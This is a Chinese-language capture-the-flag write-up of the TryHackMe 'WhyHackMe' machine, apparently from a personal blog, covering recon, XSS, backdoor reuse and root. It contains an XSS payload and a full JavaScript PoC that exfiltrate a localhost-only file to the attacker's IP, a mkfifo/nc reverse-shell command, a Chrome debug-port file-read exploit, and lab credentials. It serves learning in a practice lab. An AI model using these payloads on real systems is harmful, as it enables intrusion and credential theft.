THM WhyHackMe - Zsm's blog

前言#

THM的一个中等难度靶机，主要是xss相关？挺难的（

外网打点#

nmap+dirsearch启动

1
 nmap -sC -sV 10.10.146.135
2
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-06-02 15:53 CST
3
Nmap scan report for 10.10.146.135
4
Host is up (0.24s latency).
5
Not shown: 997 closed tcp ports (conn-refused)
6
PORT   STATE SERVICE VERSION
7
21/tcp open  ftp     vsftpd 3.0.3
8
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
9
|_-rw-r--r--    1 0        0             318 Mar 14  2023 update.txt
10
| ftp-syst:
11
|   STAT:
12
| FTP server status:
13
|      Connected to 10.21.155.141
14
|      Logged in as ftp
15
|      TYPE: ASCII
16
|      No session bandwidth limit
17
|      Session timeout in seconds is 300
18
|      Control connection is plain text
19
|      Data connections will be plain text
20
|      At session startup, client count was 3
21
|      vsFTPd 3.0.3 - secure, fast, stable
22
|_End of status
23
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
24
| ssh-hostkey:
25
|   3072 47:71:2b:90:7d:89:b8:e9:b4:6a:76:c1:50:49:43:cf (RSA)
26
|   256 cb:29:97:dc:fd:85:d9:ea:f8:84:98:0b:66:10:5e:6f (ECDSA)
27
|_  256 12:3f:38:92:a7:ba:7f:da:a7:18:4f:0d:ff:56:c1:1f (ED25519)
28
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
29
|_http-title: Welcome!!
30
|_http-server-header: Apache/2.4.41 (Ubuntu)
31
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
32

33
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
34
Nmap done: 1 IP address (1 host up) scanned in 56.16 seconds
35

36
 python dirsearch.py -u http://10.10.146.135
37

38
  _|. _ _  _  _  _ _|_    v0.4.3
39
 (_||| _) (/_(_|| (_| )
40

41
Extensions: php, asp, aspx, jsp, html, htm | HTTP method: GET | Threads: 25 | Wordlist size: 12290
42

43
Target: http://10.10.146.135/
44

45
[15:57:12] Scanning:
46
[15:57:27] 403 -   278B - /.php
47
[15:58:04] 301 -   315B - /assets  ->  http://10.10.146.135/assets/
48
[15:58:04] 200 -    1KB - /assets/
49
[15:58:11] 403 -   278B - /cgi-bin/
50
[15:58:11] 403 -   278B - /cgi-bin/awstats.pl
51
[15:58:11] 403 -   278B - /cgi-bin/a1stats/a1disp.cgi
52
[15:58:11] 403 -   278B - /cgi-bin/awstats/
53
[15:58:11] 403 -   278B - /cgi-bin/htmlscript
54
[15:58:11] 403 -   278B - /cgi-bin/login
55
[15:58:11] 403 -   278B - /cgi-bin/login.php
56
[15:58:11] 403 -   278B - /cgi-bin/login.cgi
57
[15:58:11] 403 -   278B - /cgi-bin/mt-xmlrpc.cgi
58
[15:58:11] 403 -   278B - /cgi-bin/mt.cgi
59
[15:58:11] 403 -   278B - /cgi-bin/mt/mt-xmlrpc.cgi
60
[15:58:11] 403 -   278B - /cgi-bin/mt/mt.cgi
61
[15:58:11] 403 -   278B - /cgi-bin/mt7/mt-xmlrpc.cgi
62
[15:58:11] 403 -   278B - /cgi-bin/mt7/mt.cgi
63
[15:58:11] 403 -   278B - /cgi-bin/php.ini
64
[15:58:11] 403 -   278B - /cgi-bin/printenv.pl
65
[15:58:11] 403 -   278B - /cgi-bin/ViewLog.asp
66
[15:58:11] 403 -   278B - /cgi-bin/test-cgi
67
[15:58:11] 403 -   278B - /cgi-bin/test.cgi
68
[15:58:11] 403 -   278B - /cgi-bin/htimage.exe?2,2
69
[15:58:11] 403 -   278B - /cgi-bin/imagemap.exe?2,2
70
[15:58:11] 403 -   278B - /cgi-bin/index.html
71
[15:58:11] 403 -   278B - /cgi-bin/printenv
72
[15:58:15] 200 -     0B - /config.php
73
[15:58:22] 403 -   278B - /dir
74
[15:58:36] 200 -   563B - /index.php
75
[15:58:36] 200 -   563B - /index.php/login/
76
[15:58:42] 200 -   523B - /login.php
77
[15:58:43] 302 -     0B - /logout.php  ->  login.php
78
[15:59:02] 200 -   643B - /register.php
79
[15:59:06] 403 -   278B - /server-status/
80
[15:59:06] 403 -   278B - /server-status
81

82
Task Completed

这个时候缓一下，差点忘记21ftp没看，直接连接上去拿下来一个文件

1
cat update.txt
2
Hey I just removed the old user mike because that account was compromised and for any of you who wants the creds of new account visit 127.0.0.1/dir/pass.txt and don't worry this file is only accessible by localhost(127.0.0.1), so nobody else can view it except me or people with access to the common account.
3
- admin

知道了用户名admin和common，还有一个路径/dir/pass.txt
先访问一下网站，是个blog，最下面一行

1
Name: admin
2
Comment: Hey people, I will be monitoring your comments so please be safe and civil.

管理员说自己会检查评论，可能是xss弹cookie了，让我想起来了不好的回忆(ccb)。/register.php可以去注册用户，创建一个普通账户，尝试xss没有用。尝试一下用户名<script>alert(1);</script>，是有效果的，那么接下来要么拿到cookie，要么拿到敏感文件。
还是先尝试拿cookie吧，毕竟是amdin

1
<script>fetch("http://10.21.155.141:9000",{method: "POST", body: document.cookie});</script>

bp去拦截评论发表，放包看本地回显，发现无回显，看来不太行，尝试拿文件吧，参考这个文档以及这个帖子

1
// TrustedSec Proof-of-Concept to steal
2
// sensitive data through XSS payload
3

4

5
function read_body(xhr)
6
{
7
  var data;
8

9
  if (!xhr.responseType || xhr.responseType === "text")
10
  {
11
    data = xhr.responseText;
12
  }
13
  else if (xhr.responseType === "document")
14
  {
15
    data = xhr.responseXML;
16
  }
17
  else if (xhr.responseType === "json")
18
  {
19
    data = xhr.responseJSON;
20
  }
21
  else
22
  {
23
    data = xhr.response;
24
  }
25
  return data;
26
}
27

28

29

30

31
function stealData()
32
{
33
  var uri = "/dir/pass.txt";
34

35
  xhr = new XMLHttpRequest();
36
  xhr.open("GET", uri, true);
37
  xhr.send(null);
38

39
  xhr.onreadystatechange = function()
40
  {
41
    if (xhr.readyState == XMLHttpRequest.DONE)
42
    {
43
      // We have the response back with the data
44
      var dataResponse = read_body(xhr);
45

46

47
      // Time to exfiltrate the HTML response with the data
48
      var exfilChunkSize = 2000;
49
      var exfilData      = btoa(dataResponse);
50
      var numFullChunks  = ((exfilData.length / exfilChunkSize) | 0);
51
      var remainderBits  = exfilData.length % exfilChunkSize;
52

53
      // Exfil the yummies
54
      for (i = 0; i < numFullChunks; i++)
55
      {
56
        console.log("Loop is: " + i);
57

58
        var exfilChunk = exfilData.slice(exfilChunkSize *i, exfilChunkSize * (i+1));
59

60
        // Let's use an external image load to get our data out
61
        // The file name we request will be the data we're exfiltrating
62
        var downloadImage = new Image();
63
        downloadImage.onload = function()
64
        {
65
          image.src = this.src;
66
        };
67

68
        // Try to async load the image, whose name is the string of data
69
        downloadImage.src = "http://10.21.155.141:9000/1/" + i + "/" + exfilChunk + ".jpg";
70
      }
71

72
      // Now grab that last bit
73
      var exfilChunk = exfilData.slice(exfilChunkSize * numFullChunks, (exfilChunkSize * numFullChunks) + remainderBits);
74
      var downloadImage = new Image();
75
      downloadImage.onload = function()
76
      {
77
          image.src = this.src;
78
      };
79

80
      downloadImage.src = "http://10.21.155.141:9000/1/" + "LAST" + "/" + exfilChunk + ".jpg";
81
      console.log("Done exfiling chunks..");
82
    }
83
  }
84
}
85

86
stealData();

名字是<script src=http://10.21.155.141:9000/1.js></script> 拿到base64后的信息，厨子拿到jack:WhyIsMyPasswordSoStrongIDK ssh上去

1
jack@ubuntu:~$ ls
2
user.txt
3
jack@ubuntu:~$ cat *
4
1ca4eb201787acbfcf9e70fca87b866a

提权#

1
jack@ubuntu:~$ sudo -l
2
[sudo] password for jack:
3
Matching Defaults entries for jack on ubuntu:
4
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
5

6
User jack may run the following commands on ubuntu:
7
    (ALL : ALL) /usr/sbin/iptables
8

9
jack@ubuntu:/opt$ ls -la
10
total 40
11
drwxr-xr-x  2 root root  4096 Aug 16  2023 .
12
drwxr-xr-x 19 root root  4096 Mar 14  2023 ..
13
-rw-r--r--  1 root root 27247 Aug 16  2023 capture.pcap
14
-rw-r--r--  1 root root   388 Aug 16  2023 urgent.txt
15
jack@ubuntu:/opt$ cat urgent.txt
16
Hey guys, after the hack some files have been placed in /usr/lib/cgi-bin/ and when I try to remove them, they wont, even though I am root. Please go through the pcap file in /opt and help me fix the server. And I temporarily blocked the attackers access to the backdoor by using iptables rules. The cleanup of the server is still incomplete I need to start by deleting these files first.
17
(GPT翻译：嘿，伙计们，遭到攻击之后，有一些文件被放到了 /usr/lib/cgi-bin/ 目录下，而且即使我是 root 用户，我也删不掉它们。请帮我分析一下 /opt 目录下的 pcap 文件，并帮我修复服务器。我目前已经用 iptables 规则暂时阻止了攻击者访问后门。但服务器的清理工作还没有完成，我需要先把这些文件删除掉。)
18
jack@ubuntu:/opt$ ls -la /usr/lib/
19
total 1144
20
drwxr-xr-x 91 root root     4096 Jan 29  2024 .
21
drwxr-xr-x 14 root root     4096 Aug 31  2022 ..
22
drwxr-xr-x  2 root root     4096 Jan 29  2024 accountsservice
23
drwxr-xr-x  3 root root     4096 Mar 14  2023 apache2
24
drwxr-xr-x  2 root root     4096 Aug 31  2022 apparmor
25
drwxr-xr-x  5 root root     4096 Aug 31  2022 apt
26
drwxr-xr-x  2 root root     4096 Mar 14  2023 bfd-plugins
27
drwxr-xr-x  2 root root     4096 Apr 22  2020 binfmt.d
28
drwxr-xr-x  3 root root     4096 Aug 31  2022 byobu
29
drwxr-x---  2 root h4ck3d   4096 Aug 16  2023 cgi-bin

可以看见这玩意已经被分配到h4ck3d了，还有个流量包，dump到本地，看鲨鱼启动

1
Listen 41312
2
<VirtualHost *:41312>
3
        ServerName www.example.com
4
        ServerAdmin webmaster@localhost
5
        ErrorLog ${APACHE_LOG_DIR}/error.log
6
        CustomLog ${APACHE_LOG_DIR}/access.log combined
7
        SSLEngine on
8
        SSLCipherSuite AES256-SHA
9
        SSLProtocol -all +TLSv1.2
10
        SSLCertificateFile /etc/apache2/certs/apache-certificate.crt
11
        SSLCertificateKeyFile /etc/apache2/certs/apache.key
12
        ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/
13
        AddHandler cgi-script .cgi .py .pl
14
        DocumentRoot /usr/lib/cgi-bin/
15
        <Directory "/usr/lib/cgi-bin">
16
                AllowOverride All
17
                Options +ExecCGI -Multiviews +SymLinksIfOwnerMatch
18
                Order allow,deny
19
                Allow from all
20
        </Directory>
21
</VirtualHost>

看看iptables 的配置

1
jack@ubuntu:/opt$ sudo /usr/sbin/iptables -L --line-numbers
2
Chain INPUT (policy ACCEPT)
3
num  target     prot opt source               destination
4
1    DROP       tcp  --  anywhere             anywhere             tcp dpt:41312
5
2    ACCEPT     all  --  anywhere             anywhere
6
3    ACCEPT     all  --  anywhere             anywhere             ctstate NEW,RELATED,ESTABLISHED
7
4    ACCEPT     tcp  --  anywhere             anywhere             tcp dpt:ssh
8
5    ACCEPT     tcp  --  anywhere             anywhere             tcp dpt:http
9
6    ACCEPT     icmp --  anywhere             anywhere             icmp echo-request
10
7    ACCEPT     icmp --  anywhere             anywhere             icmp echo-reply
11
8    DROP       all  --  anywhere             anywhere
12

13
Chain FORWARD (policy ACCEPT)
14
num  target     prot opt source               destination
15

16
Chain OUTPUT (policy ACCEPT)
17
num  target     prot opt source               destination
18
1    ACCEPT     all  --  anywhere             anywhere

反正都是围绕着这个端口搞的，这个端口目前不能访问的，替换规则先

1
jack@ubuntu:/opt$ sudo /usr/sbin/iptables -R INPUT 1 -p tcp -m tcp --dport 41312 -j ACCEPT
2
jack@ubuntu:/opt$ sudo /usr/sbin/iptables -L --line-numbers
3
Chain INPUT (policy ACCEPT)
4
num  target     prot opt source               destination
5
1    ACCEPT     tcp  --  anywhere             anywhere             tcp dpt:41312
6
2    ACCEPT     all  --  anywhere             anywhere
7
3    ACCEPT     all  --  anywhere             anywhere             ctstate NEW,RELATED,ESTABLISHED
8
4    ACCEPT     tcp  --  anywhere             anywhere             tcp dpt:ssh
9
5    ACCEPT     tcp  --  anywhere             anywhere             tcp dpt:http
10
6    ACCEPT     icmp --  anywhere             anywhere             icmp echo-request
11
7    ACCEPT     icmp --  anywhere             anywhere             icmp echo-reply
12
8    DROP       all  --  anywhere             anywhere
13

14
Chain FORWARD (policy ACCEPT)
15
num  target     prot opt source               destination
16

17
Chain OUTPUT (policy ACCEPT)
18
num  target     prot opt source               destination
19
1    ACCEPT     all  --  anywhere             anywhere

然后访问这个端口，没有什么东西，还是HTTPS访问，估计是搞证书去解密流量包了
流量相关看这个帖子我们已经知道 https 服务器使用 /etc/apache2/sites-enabled/000-default.conf 中 /etc/apache2/certs/apache.key 中的密钥。用户 jack 可以读取密钥。因此，下载密钥并通过 Edit->Preferences->Protocols->TLS 将其导入 Wireshark。解密后，流量显示攻击者能够通过向 /cgi-bin/5UP3r53Cr37.py 发出请求来运行命令。用相同的命令去rce

1
curl -k -s 'https://10.10.146.135:41312/cgi-bin/5UP3r53Cr37.py?key=48pfPHUrj4pmHzrC&iv=VZukhsCo8TlTXORN&cmd=id'
2
<h2>uid=33(www-data) gid=1003(h4ck3d) groups=1003(h4ck3d)
3
<h2>

弹shell

1
curl -k -s 'https://10.10.146.135:41312/cgi-bin/5UP3r53Cr37.py?key=48pfPHUrj4pmHzrC&iv=VZukhsCo8TlTXORN' --data-urlencode cmd='rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.21.155.141 4444 >/tmp/f'

成功拿到shell，看看

1
www-data@ubuntu:/usr/lib/cgi-bin$ sudo -l
2
sudo -l
3
Matching Defaults entries for www-data on ubuntu:
4
    env_reset, mail_badpass,
5
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
6

7
User www-data may run the following commands on ubuntu:
8
    (ALL : ALL) NOPASSWD: ALL

wc，顶级大黑客，全是root，gameover了

另一种root方法#

看jaxafed佬的blog发现的
首先穿个pspy上去，发现一个进程调用的是root，并且是由 pyppeteer 控制的 chrome

1
2024/01/06 05:44:19 CMD: UID=0     PID=32385  | /root/.local/share/pyppeteer/local-chromium/588429/chrome-linux/chrome --disable-background-networking --disable-background-timer-throttling --disable-breakpad --disable-browser-side-navigation --disable-client-side-phishing-detection --disable-default-apps --disable-dev-shm-usage --disable-extensions --disable-features=site-per-process --disable-hang-monitor --disable-popup-blocking --disable-prompt-on-repost --disable-sync --disable-translate --metrics-recording-only --no-first-run --safebrowsing-disable-auto-update --enable-automation --password-store=basic --use-mock-keychain --headless --hide-scrollbars --mute-audio about:blank --no-sandbox --remote-debugging-port=46775 --user-data-dir=/root/.local/share/pyppeteer/.dev_profile/tmpk9ujyvwz

此端口可用于控制浏览器和读取本地文件，方法是使浏览器导航到具有 file:// 协议的 URL，并告诉它发送页面内容.
用的这个方法
由于漏洞利用所需的所有 Python 包在目标上不可用，因此我将在我的计算机上运行该漏洞。但是 Chrome 端口正在侦听 127.0.0.1，因此需要从外部访问它。
Chrome 进程每次都使用不同的调试端口运行，并且运行时间非常短。因此，我不会在看到进程后尝试转发端口，而是使用 ssh 建立一个 socks 代理。
修改 /etc/proxychains4.conf 以便能够将 socks 代理与 proxychains 一起使用。

1
...
2
# defaults set to "tor"
3
#socks4     127.0.0.1 9050
4
socks5 127.0.0.1 1080

然后再修改一点东西

将 victim 更改为 127.0.0.1。
可以将目标端口作为命令行参数传递。
将 url 从 file:///etc/passwd 更改为 file:///root/root.txt。
现在，当我看到 Chrome 下次运行时，我将使用代理链和 —remote-debugging-port 参数中指定的端口来运行漏洞利用。多运行几次就可以拿到了

1
$ proxychains -q ./chrome_remote_debug_lfi.py 44523
2
ws://127.0.0.1:44523/devtools/page/3FC55BCC759CB7D158BDB700C2E84ADE
3
{"id":3592,"result":{"frameId":"3FC55BCC759CB7D158BDB700C2E84ADE","loaderId":"B35E879C2B29484750665A8B1EF9A15A"}}
4
{"id":3593,"result":{"result":{"type":"string","value":"<html><head></head><body><pre style=\"word-wrap: break-word; white-space: pre-wrap;\">[REDACTED]\n</pre></body></html>"}}}

总结#

看鲨鱼是真的不会啊xd，得补补知识了。还有xss的算是新方法吧对我来说，看别人的wp去复现两三遍也是有用的

a ctfer on the load

前言#

外网打点#

提权#

另一种root方法#

总结#